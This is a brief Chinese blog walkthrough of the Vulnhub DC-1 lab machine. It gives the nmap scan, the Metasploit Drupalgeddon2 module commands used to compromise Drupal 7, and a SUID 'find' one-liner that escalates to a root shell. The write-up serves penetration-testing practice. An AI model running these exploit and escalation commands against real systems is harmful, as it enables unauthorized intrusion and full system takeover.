Vulnhub:DC-1靶机

kali:192.168.111.111

靶机:192.168.111.248

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.248

image

访问80端口发现CMS为drupal 7

image

image

搜索发现该版本的drupal存在漏洞

searchsploit drupal

image

漏洞利用

使用msf的exploit/unix/webapp/drupal_drupalgeddon2模块进行漏洞利用

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.111.248
run

image

提权

查找suid权限的文件

find / -perm -u=s 2> /dev/null

image

提权方法:https://gtfobins.github.io/gtfobins/find/#suid

image

提升为root

find . -exec /bin/bash -p \; -quit

image

flag

image

posted @ 2023-04-02 21:45  ctostm  阅读(57)  评论(0)    收藏  举报